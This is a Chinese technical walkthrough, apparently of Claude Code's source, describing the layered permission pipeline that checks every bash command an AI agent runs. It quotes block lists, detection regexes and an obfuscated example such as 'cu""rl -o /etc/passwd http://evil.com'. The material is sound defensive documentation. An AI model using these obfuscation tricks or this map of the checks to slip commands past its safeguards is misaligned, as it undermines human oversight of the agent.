Bash 27 层安全机制
BashTool 是 Claude Code 中安全性最关键的组件。它是唯一能够执行任意系统命令的 tool,因此也是主要攻击面。为了抵御 prompt injection、命令注入和权限提升,Claude Code 实现了一套多层安全管道,每条 bash 命令在执行前都必须通过这套管道。
本章记录完整的决策树——从初始 AST 解析,经过 27 个独立安全验证器,直到最终的 permission 决策。
bash 安全系统分布在以下几个文件中:
| 文件 | 行数 | 用途 |
|---|---|---|
src/tools/BashTool/bashPermissions.ts | ~2600 | 主 permission 管道、规则匹配、子命令拆分 |
src/tools/BashTool/bashSecurity.ts | ~2500 | 用于命令注入检测的 23 个安全验证器 |
src/tools/BashTool/pathValidation.ts | ~1300 | 路径约束检查、工作目录强制执行 |
src/tools/BashTool/modeValidation.ts | ~115 | Mode 特定命令白名单(acceptEdits 命令) |
src/tools/BashTool/sedValidation.ts | — | 在 mode 自动放行前阻断危险 sed 操作 |
src/tools/BashTool/bashCommandHelpers.ts | ~300 | Pipe 和操作符的 permission 处理 |
src/utils/bash/ast.ts | ~2500 | Tree-sitter AST 解析和语义检查 |
src/utils/permissions/bashClassifier.ts | — | 基于 AI 的命令分类(prompt 规则) |
当 bashToolHasPermission() 被调用时,命令将依次经过以下各层:
flowchart TD
Entry["bashToolHasPermission(command)"] --> L0
subgraph "Phase 0: AST Parse"
L0["Layer 0: Tree-sitter AST parse"]
L0 -->|simple| Semantics["Layer 1: checkSemantics"]
L0 -->|too-complex| TooComplex["Layer 2: Too-complex handling"]
L0 -->|unavailable| Legacy["Layer 3: Legacy shell-quote parse"]
end
Semantics -->|fail| SemanticDeny["Check deny rules → ASK"]
Semantics -->|pass| SandboxCheck
TooComplex --> EarlyDeny["Check deny rules → ASK"]
Legacy -->|fail| ParseAsk["ASK: malformed syntax"]
Legacy -->|pass| SandboxCheck
subgraph "Phase 1: Fast Paths"
SandboxCheck{"Layer 4: Sandbox<br/>auto-allow?"}
SandboxCheck -->|yes + no deny| SandboxAllow["ALLOW (sandboxed)"]
SandboxCheck -->|no| ExactMatch
ExactMatch["Layer 5: Exact match<br/>deny/ask/allow rules"]
ExactMatch -->|deny| Deny1["DENY"]
ExactMatch -->|ask/allow| ClassifierCheck
end
subgraph "Phase 2: Classifier Rules"
ClassifierCheck["Layer 6: Classifier deny rules"]
ClassifierCheck -->|deny match| ClassDeny["DENY"]
ClassifierCheck -->|no match| AskClassifier
AskClassifier["Layer 7: Classifier ask rules"]
AskClassifier -->|ask match| ClassAsk["ASK"]
AskClassifier -->|no match| OperatorCheck
end
subgraph "Phase 3: Structural Analysis"
OperatorCheck["Layer 8: Pipe/operator<br/>decomposition"]
OperatorCheck -->|pipes found| PipeProcess["Process each segment"]
OperatorCheck -->|no pipes| MisparseGate
MisparseGate["Layer 9: Legacy<br/>misparsing gate"]
MisparseGate -->|unsafe patterns| AskMisparse["ASK"]
MisparseGate -->|safe| SubcommandSplit
end
SubcommandSplit["Layer 10: Subcommand split"] --> CdCheck
subgraph "Phase 4: Per-Subcommand Checks"
CdCheck["Layer 11: Multiple cd check"]
CdCheck -->|multiple cd| AskCd["ASK"]
CdCheck -->|ok| CdGitCheck
CdGitCheck["Layer 12: cd + git<br/>bare repo guard"]
CdGitCheck -->|cd && git| AskCdGit["ASK"]
CdGitCheck -->|ok| SubPermChecks
SubPermChecks["Layer 13-22: Per-subcommand<br/>permission pipeline"] --> FinalDecision
end
subgraph "Phase 5: Aggregation"
FinalDecision{"All subcommands<br/>allowed?"}
FinalDecision -->|all allow + no injection| AllowFinal["ALLOW"]
FinalDecision -->|any deny| DenyFinal["DENY"]
FinalDecision -->|any ask/passthrough| AskFinal["ASK + suggestions"]
end
阶段 0:AST 解析(Layer 0–3)
Section titled “阶段 0:AST 解析(Layer 0–3)”Layer 0:Tree-sitter AST 解析
Section titled “Layer 0:Tree-sitter AST 解析”bashToolHasPermission 首先尝试用 tree-sitter 解析命令:
// src/tools/BashTool/bashPermissions.ts (line ~1688)let astRoot = injectionCheckDisabled ? null : await parseCommandRaw(input.command)let astResult: ParseForSecurityResult = astRoot ? parseForSecurityFromAst(input.command, astRoot) : { kind: 'parse-unavailable' }解析返回以下三种结果之一:
| 结果 | 含义 | 下一步 |
|---|---|---|
simple | 解析干净——包含已解析引号、无隐藏替换的 SimpleCommand[] 数组 | 进入语义检查 |
too-complex | 解析成功但发现危险结构(命令替换、参数展开、控制流) | 跳过并要求确认,但仍遵守 deny rule |
parse-unavailable | Tree-sitter WASM 未加载或 feature 未开启 | 回退至 legacy shell-quote 路径 |
Layer 1:语义检查(checkSemantics)
Section titled “Layer 1:语义检查(checkSemantics)”对 simple 结果,ast.ts 中的 checkSemantics 在语义层面验证命令:
// src/utils/bash/ast.ts (line ~2213)export function checkSemantics(commands: SimpleCommand[]): SemanticCheckResult { for (const cmd of commands) { // 剥离安全包装器(nohup、time、timeout、nice) let a = cmd.argv // ... wrapper stripping ... const name = a[0]
// 阻断 eval、exec 及其等价命令 if (EVAL_COMMANDS.has(name)) return { ok: false, reason: ... }
// 阻断 Zsh 危险内置命令 if (ZSH_DANGEROUS.has(name)) return { ok: false, reason: ... }
// 阻断 jq system() 函数调用 if (name === 'jq' && hasSystemFunction(a)) return { ok: false, reason: ... }
// 检查包含换行符的 argv 元素(解析器差异) // 检查 /proc/environ 访问 } return { ok: true }}能捕获的内容:
eval、exec、source、.(eval 等价命令)zmodload、emulate -c、sysopen、ztcp等(Zsh 危险内置命令)- 含
system()调用或文件参数的jq - 包含字面换行符的 argv 元素(解析器差异风险)
/proc/*/environ访问(环境变量泄露)
Layer 2:Too-Complex 处理
Section titled “Layer 2:Too-Complex 处理”当 tree-sitter 检测到无法静态验证的结构(命令替换、参数展开、控制流关键字、解析器差异)时,返回 too-complex:
// src/tools/BashTool/bashPermissions.ts (line ~1741)if (astResult.kind === 'too-complex') { const earlyExit = checkEarlyExitDeny(input, appState.toolPermissionContext) if (earlyExit !== null) return earlyExit return { behavior: 'ask', reason: astResult.reason, suggestions: [] }}too-complex 路径仍会遵守 deny rule——含 $() 替换且匹配 Bash(eval:*) deny rule 的命令会被拒绝,而不仅仅是询问。
Layer 3:Legacy Shell-Quote 解析
Section titled “Layer 3:Legacy Shell-Quote 解析”当 tree-sitter 不可用时,系统回退至 shell-quote 库:
// src/tools/BashTool/bashPermissions.ts (line ~1815)const parseResult = tryParseShellCommand(input.command)if (!parseResult.success) { return { behavior: 'ask', reason: `Malformed syntax: ${parseResult.error}` }}阶段 1:快速路径(Layer 4–5)
Section titled “阶段 1:快速路径(Layer 4–5)”Layer 4:Sandbox 自动放行
Section titled “Layer 4:Sandbox 自动放行”当 autoAllowBashIfSandboxed 启用了 sandbox 时,将在 sandbox 中运行的命令会自动放行——除非存在显式 deny/ask rule:
// src/tools/BashTool/bashPermissions.ts (line ~1270)function checkSandboxAutoAllow(input, toolPermissionContext): PermissionResult { // 对完整命令检查 deny/ask const { matchingDenyRules, matchingAskRules } = matchingRulesForInput(...) if (matchingDenyRules[0]) return { behavior: 'deny', ... }
// 安全性:对每个子命令检查 deny/ask rule const subcommands = splitCommand(command) if (subcommands.length > 1) { for (const sub of subcommands) { const subResult = matchingRulesForInput({ command: sub }, ...) if (subResult.matchingDenyRules[0]) return { behavior: 'deny', ... } } }
return { behavior: 'allow', reason: 'Auto-allowed with sandbox' }}Layer 5:精确匹配 Permission Rule
Section titled “Layer 5:精确匹配 Permission Rule”在进行更深层分析之前,先对命令检查精确匹配规则:
// src/tools/BashTool/bashPermissions.ts (line ~991)export const bashToolCheckExactMatchPermission = (input, context) => { const { matchingDenyRules, matchingAskRules, matchingAllowRules } = matchingRulesForInput(input, context, 'exact')
// 优先级:deny > ask > allow if (matchingDenyRules[0]) return { behavior: 'deny', ... } if (matchingAskRules[0]) return { behavior: 'ask', ... } if (matchingAllowRules[0]) return { behavior: 'allow', ... } return { behavior: 'passthrough', ... }}阶段 2:分类器规则(Layer 6–7)
Section titled “阶段 2:分类器规则(Layer 6–7)”Layer 6:分类器 Deny Rule
Section titled “Layer 6:分类器 Deny Rule”当 bash classifier feature 启用时,自然语言 deny 描述将被评估:
// src/tools/BashTool/bashPermissions.ts (line ~1866)const denyDescriptions = getBashPromptDenyDescriptions(context)const [denyResult, askResult] = await Promise.all([ hasDeny ? classifyBashCommand(input.command, cwd, denyDescriptions, 'deny', ...) : null, hasAsk ? classifyBashCommand(input.command, cwd, askDescriptions, 'ask', ...) : null,])
if (denyResult?.matches && denyResult.confidence === 'high') { return { behavior: 'deny', message: `Denied by Bash prompt rule: "${denyResult.matchedDescription}"` }}Layer 7:分类器 Ask Rule
Section titled “Layer 7:分类器 Ask Rule”若 deny rule 未匹配,则检查 ask rule。高置信度匹配触发含已匹配描述的 permission prompt:
if (askResult?.matches && askResult.confidence === 'high') { return { behavior: 'ask', reason: `Required by Bash prompt rule: "${askResult.matchedDescription}"` }}阶段 3:结构分析(Layer 8–9)
Section titled “阶段 3:结构分析(Layer 8–9)”Layer 8:Pipe 和操作符分解
Section titled “Layer 8:Pipe 和操作符分解”含 pipe(|)、重定向和其他操作符的命令由 checkCommandOperatorPermissions 分解:
async function segmentedCommandPermissionResult(input, segments, ...) { // 检查各 segment 中的多个 cd 命令 // 检查 pipe segment 中的 cd+git(裸仓库攻击) // 通过完整 permission 系统处理每个 segment // 若任意 segment 被拒绝则拒绝 // 仅当所有 segment 都被允许时才放行}安全关键点:当 pipe segment 全部返回 allow 时,原始命令仍会被检查:
- 输出重定向的路径约束(这些内容已从 segment 中剥离)
- 重定向目标中的危险 pattern(反引号、
$())
Layer 9:Legacy 误解析防护门
Section titled “Layer 9:Legacy 误解析防护门”当 tree-sitter 不可用时,legacy 安全检查会检测 splitCommand_DEPRECATED 可能误解析的 pattern:
// src/tools/BashTool/bashPermissions.ts (line ~2089)const originalCommandSafetyResult = await bashCommandIsSafeAsync(input.command)if (originalCommandSafetyResult.behavior === 'ask' && originalCommandSafetyResult.isBashSecurityCheckForMisparsing) { // 尝试剥离安全的 heredoc 替换后重新检查 const remainder = stripSafeHeredocSubstitutions(input.command) // ...}阶段 4:单子命令检查(Layer 10–22)
Section titled “阶段 4:单子命令检查(Layer 10–22)”Layer 10:子命令拆分
Section titled “Layer 10:子命令拆分”命令被拆分为独立子命令,优先使用 tree-sitter 结果:
const rawSubcommands = astSubcommands ?? splitCommand(input.command)// 过滤掉 `cd ${cwd}` 前缀子命令const { subcommands, astCommandsByIdx } = filterCdCwdSubcommands(...)子命令上限防止 DoS:
export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50// 超出上限 → 回退至 'ask'Layer 11:多个 cd 检查
Section titled “Layer 11:多个 cd 检查”const cdCommands = subcommands.filter(cmd => isNormalizedCdCommand(cmd))if (cdCommands.length > 1) { return { behavior: 'ask', reason: 'Multiple directory changes require approval' }}Layer 12:cd + git 裸仓库防护
Section titled “Layer 12:cd + git 裸仓库防护”同时含 cd 和 git 的复合命令始终被标记。这可防止通过带有 core.fsmonitor 的裸 git 仓库逃逸 sandbox:
// src/tools/BashTool/bashPermissions.ts (line ~2209)if (compoundCommandHasCd) { const hasGitCommand = subcommands.some(cmd => isNormalizedGitCommand(cmd.trim())) if (hasGitCommand) { return { behavior: 'ask', reason: 'cd + git require approval to prevent bare repository attacks' } }}isNormalizedGitCommand 和 isNormalizedCdCommand 在检查前会标准化安全包装器和 shell 引号:
export function isNormalizedGitCommand(command: string): boolean { if (command.startsWith('git ') || command === 'git') return true const stripped = stripSafeWrappers(command) const parsed = tryParseShellCommand(stripped) if (parsed.success && parsed.tokens.length > 0) { if (parsed.tokens[0] === 'git') return true if (parsed.tokens[0] === 'xargs' && parsed.tokens.includes('git')) return true } return /^git(?:\s|$)/.test(stripped)}Layer 13–22:单子命令 Permission 管道(bashToolCheckPermission)
Section titled “Layer 13–22:单子命令 Permission 管道(bashToolCheckPermission)”每个子命令都经过自己的管道:
// src/tools/BashTool/bashPermissions.ts (line ~1050)export const bashToolCheckPermission = (input, context, compoundCommandHasCd, astCommand) => { // 1. 先精确匹配 // 2. 前缀/通配符 deny rule → DENY // 3. 前缀/通配符 ask rule → ASK // 4. 路径约束(checkPathConstraints) // 5. 精确匹配 allow // 6. 前缀/通配符 allow rule → ALLOW // 5b. Sed 约束(在 mode 自动放行前阻断危险 sed) // 7. Mode 特定处理(acceptEdits 白名单) // 8. 只读检查(BashTool.isReadOnly) // 9. Passthrough → 触发 permission prompt}23 个安全验证器(bashSecurity.ts)
Section titled “23 个安全验证器(bashSecurity.ts)”bashCommandIsSafe_DEPRECATED 函数按顺序运行 23 个验证器。每个验证器返回 allow(提前退出)、ask(标记审查)或 passthrough(继续下一个验证器):
完整验证器表
Section titled “完整验证器表”| # | 验证器 | Check ID | 捕获内容 |
|---|---|---|---|
| 1 | validateControlCharacters | 17 | 空字节、会混淆后续验证器的不可打印字符 |
| 2 | validateShellQuoteSingleQuoteBug | — | shell-quote 库的单引号反斜杠 bug |
| 3 | validateEmpty | — | 空命令(自动放行) |
| 4 | validateSafeCommandSubstitution | — | 安全 heredoc pattern $(cat <<'EOF'...EOF)(提前放行) |
| 5 | validateIncompleteCommands | 1 | 以 tab、flag 或操作符开头的片段 |
| 6 | validateGitCommit | 12 | 无替换的 git commit 命令(提前放行) |
| 7 | validateJqCommand | 2, 3 | 含 system() 调用或文件写入参数的 jq |
| 8 | validateObfuscatedFlags | 4 | 通过 shell 引号绕过 flag 检测(cu""rl、ch''mod) |
| 9 | validateShellMetacharacters | 5 | 参数中未引用的 ;、|、& |
| 10 | validateDangerousVariables | 6 | 未引用位置中的 $IFS、$PATH、$LD_PRELOAD |
| 11 | validateNewlines | 7 | 反斜杠转义换行符(\\\n)隐藏命令续行 |
| 12 | validateCarriageReturn | — | \r 字符(终端 UI 欺骗) |
| 13 | validateDangerousPatterns | 8 | $()、${}、$[]、进程替换、Zsh 展开、反引号 |
| 14 | validateRedirections | 9, 10 | 输入(<)和输出(>、>>)重定向 |
| 15 | validateIFSInjection | 11 | $IFS 和 ${...IFS...} pattern(字段分割攻击) |
| 16 | validateProcEnvironAccess | 13 | /proc/*/environ、/proc/self/environ(密钥泄露) |
| 17 | validateMalformedTokenInjection | 14 | 解析结果与表面不符的 token |
| 18 | validateBackslashEscapedWhitespace | 15 | \ (空格)和 \ (tab)隐藏操作符边界 |
| 19 | validateBackslashEscapedOperators | 21 | \;、|、\&——看起来像操作符但在某些上下文中是字面字符 |
| 20 | validateBraceExpansion | 16 | {a,b} 大括号展开(命令名操控) |
| 21 | validateUnicodeWhitespace | 18 | 非 ASCII 空白字符(U+00A0 等)隐藏内容 |
| 22 | validateMidWordHash | 19 | 词中位置的 #(shell-quote/bash 解析器差异) |
| 23 | validateCommentQuoteDesync | 22 | 注释中的引号字符导致引号追踪失同步 |
| 24 | validateQuotedNewline | 23 | 引号内含 # 的换行符导致注释注入 |
| 25 | validateZshDangerousCommands | 20 | zmodload、emulate、sysopen、ztcp 等 |
深入解析:精选验证器
Section titled “深入解析:精选验证器”验证器 1:控制字符
Section titled “验证器 1:控制字符”第一个验证器阻断控制字符,因为它们会混淆后续所有基于正则表达式的检查:
// src/tools/BashTool/bashSecurity.ts (line ~2260)export function bashCommandIsSafe_DEPRECATED(command: string): PermissionResult { // 安全性:在任何其他处理前阻断控制字符 if (CONTROL_CHAR_RE.test(command)) { return { behavior: 'ask', message: 'Command contains control characters' } } // ...}验证器 8:混淆 Flag
Section titled “验证器 8:混淆 Flag”攻击者可以通过跨引号分割 flag 字符串来绕过 flag 检测:
# 这些都运行 `curl`,但引号分割向正则表达式隐藏了 flagcu""rl -o /etc/passwd http://evil.comch''mod 777 /etc/shadowfunction validateObfuscatedFlags(context: ValidationContext): PermissionResult { const { originalCommand, baseCommand } = context // echo 对混淆 flag 是安全的,但仅限简单 echo 命令 // 如果 echo 含重定向则不安全(echo "payload" > file) // ...}验证器 13:危险 Pattern(命令替换)
Section titled “验证器 13:危险 Pattern(命令替换)”这是覆盖范围最广的验证器,检查多种展开类型:
const COMMAND_SUBSTITUTION_PATTERNS = [ { pattern: /<\(/, message: 'process substitution <()' }, { pattern: />\(/, message: 'process substitution >()' }, { pattern: /=\(/, message: 'Zsh process substitution =()' }, { pattern: /(?:^|[\s;&|])=[a-zA-Z_]/, message: 'Zsh equals expansion (=cmd)' }, { pattern: /\$\(/, message: '$() command substitution' }, { pattern: /\$\{/, message: '${} parameter substitution' }, { pattern: /\$\[/, message: '$[] legacy arithmetic expansion' }, { pattern: /~\[/, message: 'Zsh-style parameter expansion' }, { pattern: /\(e:/, message: 'Zsh-style glob qualifiers' }, { pattern: /\(\+/, message: 'Zsh glob qualifier with command execution' }, { pattern: /\}\s*always\s*\{/, message: 'Zsh always block (try/always)' }, { pattern: /<#/, message: 'PowerShell comment syntax' },]验证器 25:Zsh 危险命令
Section titled “验证器 25:Zsh 危险命令”专门针对 Zsh 特定攻击向量的检查:
const ZSH_DANGEROUS_COMMANDS = new Set([ 'zmodload', // 危险模块的入口 'emulate', // 带 -c flag 的 eval 等价命令 'sysopen', // 细粒度文件控制(zsh/system) 'sysread', // 文件描述符读取(zsh/system) 'syswrite', // 文件描述符写入(zsh/system) 'zpty', // 伪终端命令执行(zsh/zpty) 'ztcp', // 用于泄露数据的 TCP 连接(zsh/net/tcp) 'zsocket', // Unix/TCP socket(zsh/net/socket) 'zf_rm', // zsh/files 的内置 rm 'zf_mv', // zsh/files 的内置 mv // ... 更多 zsh 内置命令])安全包装器剥离系统
Section titled “安全包装器剥离系统”在规则匹配之前,安全包装器命令会被剥离,使得 timeout 10 npm install 能够匹配 Bash(npm install:*) rule:
// src/tools/BashTool/bashPermissions.ts (line ~524)export function stripSafeWrappers(command: string): string { const SAFE_WRAPPER_PATTERNS = [ /^timeout[ \t]+(?:...)[ \t]+\d+(?:\.\d+)?[smhd]?[ \t]+/, /^time[ \t]+(?:--[ \t]+)?/, /^nice(?:[ \t]+-n[ \t]+-?\d+|[ \t]+-\d+)?[ \t]+(?:--[ \t]+)?/, /^stdbuf(?:[ \t]+-[ioe][LN0-9]+)+[ \t]+(?:--[ \t]+)?/, /^nohup[ \t]+(?:--[ \t]+)?/, ] // 同时剥离安全环境变量:NODE_ENV、RUST_LOG、LANG 等 // 阶段 1:剥离环境变量 + 注释 // 阶段 2:剥离包装器命令 + 注释(不包含环境变量)}关键安全细节:两阶段剥离是有意为之的。在 nohup 等包装器之后,环境变量被视为要执行的命令,而非赋值。在阶段 2 剥离环境变量会导致不匹配(HackerOne #3543050)。
安全环境变量
Section titled “安全环境变量”只有经过精心筛选的环境变量白名单才会被剥离:
const SAFE_ENV_VARS = new Set([ // 永远不要添加:PATH、LD_PRELOAD、LD_LIBRARY_PATH、DYLD_* // 永远不要添加:PYTHONPATH、NODE_PATH、CLASSPATH、RUBYLIB // 永远不要添加:GOFLAGS、RUSTFLAGS、NODE_OPTIONS // 永远不要添加:HOME、TMPDIR、SHELL、BASH_ENV 'GOEXPERIMENT', 'GOOS', 'GOARCH', 'CGO_ENABLED', 'GO111MODULE', 'RUST_BACKTRACE', 'RUST_LOG', 'NODE_ENV', 'PYTHONUNBUFFERED', 'PYTHONDONTWRITEBYTECODE', 'LANG', 'LC_ALL', 'TERM', 'NO_COLOR', 'FORCE_COLOR', 'TZ', // ... 更多安全变量])Deny 与 Allow Rule 剥离的不对称性
Section titled “Deny 与 Allow Rule 剥离的不对称性”一个微妙但关键的设计选择:deny rule 剥离所有环境变量,而 allow rule 仅剥离安全环境变量:
// Deny/ask rule:激进剥离(无法用 FOO=bar 绕过 deny)const matchingDenyRules = filterRulesByContentsMatchingInput( input, denyRuleByContents, matchMode, { stripAllEnvVars: true, skipCompoundCheck: true },)
// Allow rule:保守剥离(DOCKER_HOST=evil docker ps 不会匹配)const matchingAllowRules = filterRulesByContentsMatchingInput( input, allowRuleByContents, matchMode, { skipCompoundCheck: false }, // stripAllEnvVars 默认为 false)stripAllLeadingEnvVars 函数使用不动点迭代处理 nohup FOO=bar timeout 5 denied_command 等交替 pattern。
checkPathConstraints 函数确保命令不会操作项目目录以外的文件:
关键检查:
- 输出重定向:
>、>>到工作目录外的路径会被标记 - 敏感路径:
.git/、.claude/、.vscode/、shell 配置文件(.bashrc、.zshrc)触发安全检查 - cd + 重定向防护:含
cd和文件修改的复合命令会被特殊处理 - AST 感知:当 tree-sitter 数据可用时,从 AST 中提取重定向而非重新解析
危险前缀检测
Section titled “危险前缀检测”进入 auto mode 时,系统会主动移除会绕过分类器的过宽 allow rule:
export function isDangerousBashPermission(toolName: string, ruleContent?: string): boolean { if (ruleContent === undefined || ruleContent === '') return true // Bash(*) = 全部允许 if (content === '*') return true
for (const pattern of DANGEROUS_BASH_PATTERNS) { if (content === `${lowerPattern}:*`) return true // python:* if (content === `${lowerPattern}*`) return true // python* if (content === `${lowerPattern} *`) return true // python * } return false}危险 pattern 列表:
export const DANGEROUS_BASH_PATTERNS: readonly string[] = [ // 解释器 'python', 'python3', 'python2', 'node', 'deno', 'tsx', 'ruby', 'perl', 'php', 'lua', // 包运行器 'npx', 'bunx', 'npm run', 'yarn run', 'pnpm run', 'bun run', // Shell 'bash', 'sh', 'zsh', 'fish', // Eval 等价命令 'eval', 'exec', 'env', 'xargs', 'sudo', // 远程执行 'ssh',]裸 Shell 前缀阻断
Section titled “裸 Shell 前缀阻断”系统防止建议过于宽泛的前缀规则:
const BARE_SHELL_PREFIXES = new Set([ 'sh', 'bash', 'zsh', 'fish', 'csh', 'tcsh', 'ksh', 'dash', 'cmd', 'powershell', 'pwsh', 'env', 'xargs', // 执行其参数的包装器 'nice', 'stdbuf', 'nohup', 'timeout', 'time', // 安全包装器(被语义检查剥离) 'sudo', 'doas', 'pkexec', // 权限提升])完整安全管道总结
Section titled “完整安全管道总结”以下是 bash 命令经过的所有安全层的完整有序列表:
| Layer | 位置 | 检查内容 | 失败时 |
|---|---|---|---|
| 0 | bashPermissions.ts | Tree-sitter AST 解析 | 回退至 legacy |
| 1 | ast.ts | checkSemantics——eval、zsh 内置命令、jq system() | ASK |
| 2 | bashPermissions.ts | Too-complex AST 结果处理 | ASK |
| 3 | bashPermissions.ts | Legacy tryParseShellCommand | ASK |
| 4 | bashPermissions.ts | Sandbox 自动放行(遵守 deny/ask rule) | 继续 |
| 5 | bashPermissions.ts | 精确匹配 deny/ask/allow rule | DENY/ASK/ALLOW |
| 6 | bashPermissions.ts | 分类器 deny 描述 | DENY |
| 7 | bashPermissions.ts | 分类器 ask 描述 | ASK |
| 8 | bashCommandHelpers.ts | Pipe/操作符分解 | 对每个 segment 递归 |
| 9 | bashPermissions.ts | Legacy 误解析防护门(bashCommandIsSafe) | ASK |
| 10 | bashPermissions.ts | 子命令拆分 + 上限(最多 50 条) | ASK |
| 11 | bashPermissions.ts | 多个 cd 检查 | ASK |
| 12 | bashPermissions.ts | cd + git 裸仓库防护 | ASK |
| 13 | bashPermissions.ts | 单子命令精确匹配规则 | DENY/ASK/ALLOW |
| 14 | bashPermissions.ts | 单子命令前缀/通配符 deny rule | DENY |
| 15 | bashPermissions.ts | 单子命令前缀/通配符 ask rule | ASK |
| 16 | pathValidation.ts | 路径约束(项目外、敏感文件) | ASK |
| 17 | bashPermissions.ts | 单子命令前缀/通配符 allow rule | ALLOW |
| 18 | sedValidation.ts | 危险 sed 操作 | ASK |
| 19 | modeValidation.ts | Mode 特定命令白名单(acceptEdits) | ALLOW/passthrough |
| 20 | bashPermissions.ts | 只读命令检查(BashTool.isReadOnly) | ALLOW |
| 21 | bashSecurity.ts | 25 个安全验证器(注入、替换等) | ASK |
| 22 | bashPermissions.ts | 子命令结果聚合 | DENY/ALLOW/ASK |
| 23 | bashPermissions.ts | 原始命令路径约束(重定向目标) | DENY/ASK |
| 24 | bashPermissions.ts | 挂起的分类器检查附加 | — |
| 25 | permissions.ts | Mode 后处理(dontAsk → deny,auto → 分类器) | DENY/ALLOW |
| 26 | permissions.ts | Headless agent 处理(hook → 自动拒绝) | DENY |
| 27 | permissions.ts | 拒绝追踪(连续拒绝限制) | ASK 回退 |
边缘情况与已知局限
Section titled “边缘情况与已知局限”复合命令绕过防护
Section titled “复合命令绕过防护”一个关键安全不变量:前缀/通配符 rule 不匹配复合命令。否则 Bash(cd:*) 会匹配 cd /tmp && python3 evil.py:
// filterRulesByContentsMatchingInput (line ~891)case 'prefix': { if (isCompoundCommand.get(cmdToMatch)) { return false // 安全性:不允许前缀 rule 匹配复合命令 } return cmdToMatch.startsWith(bashRule.prefix + ' ')}xargs Pattern
Section titled “xargs Pattern”xargs 获得特殊处理,因为它实际上在当前目录执行命令:
// 同时匹配没有 flag 的裸 "xargs <prefix>"const xargsPrefix = 'xargs ' + bashRule.prefixif (cmdToMatch === xargsPrefix) return truereturn cmdToMatch.startsWith(xargsPrefix + ' ')这意味着 Bash(grep:*) deny 同样阻断 xargs grep pattern,Bash(rm:*) deny 阻断 xargs rm file。
Tree-sitter 影子模式
Section titled “Tree-sitter 影子模式”系统可以在影子模式下运行 tree-sitter,记录与 legacy 解析器的差异,但不将 AST 用于决策:
if (feature('TREE_SITTER_BASH_SHADOW')) { // 记录两种解析器的判定结果 logEvent('tengu_tree_sitter_shadow', { available, astTooComplex, subsDiffer, ... }) // 始终强制走 legacy 路径——影子模式仅用于观测 astResult = { kind: 'parse-unavailable' }}这让团队能在将 tree-sitter 用于安全决策前验证其正确性。
Heredoc 安全性
Section titled “Heredoc 安全性”isSafeHeredoc 函数允许满足严格条件的 $(cat <<'EOF'...EOF) pattern 通过 $() 验证器:
- 分隔符必须是单引号或已转义(正文中无展开)
- 结束分隔符必须独占一行
$()必须在参数位置,而非命令位置- 剥离 heredoc 后的剩余文本必须通过所有验证器
- 无嵌套 heredoc 匹配(防止索引污染攻击)
安全管道是热代码路径——每次 bash 调用都会运行:
- 子命令上限:最多 50 条子命令,防止指数级膨胀
- 复合规则建议上限:每条复合命令最多建议 5 条规则
- 批量遥测:差异事件聚合而非逐子命令上报
- 惰性解析:tree-sitter 仅在 feature flag 开启时调用
- 预测性分类器检查:提前启动以与 permission 对话框并行运行
export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5bash 安全系统遵循以下几个核心原则:
- 默认关闭:未知 pattern 标记审查,从不自动放行
- 纵深防御:多个独立验证器覆盖重叠的威胁类别
- deny rule 至上:deny rule 不能被任何 mode、包装器或环境变量前缀绕过
- AST 优先,正则回退:tree-sitter 提供结构正确性;正则捕获边缘情况
- 不对称剥离:allow rule 保守(仅安全环境变量);deny rule 激进(剥除一切)
- 无静默失败:每个决策都携带
decisionReason,用于调试和遥测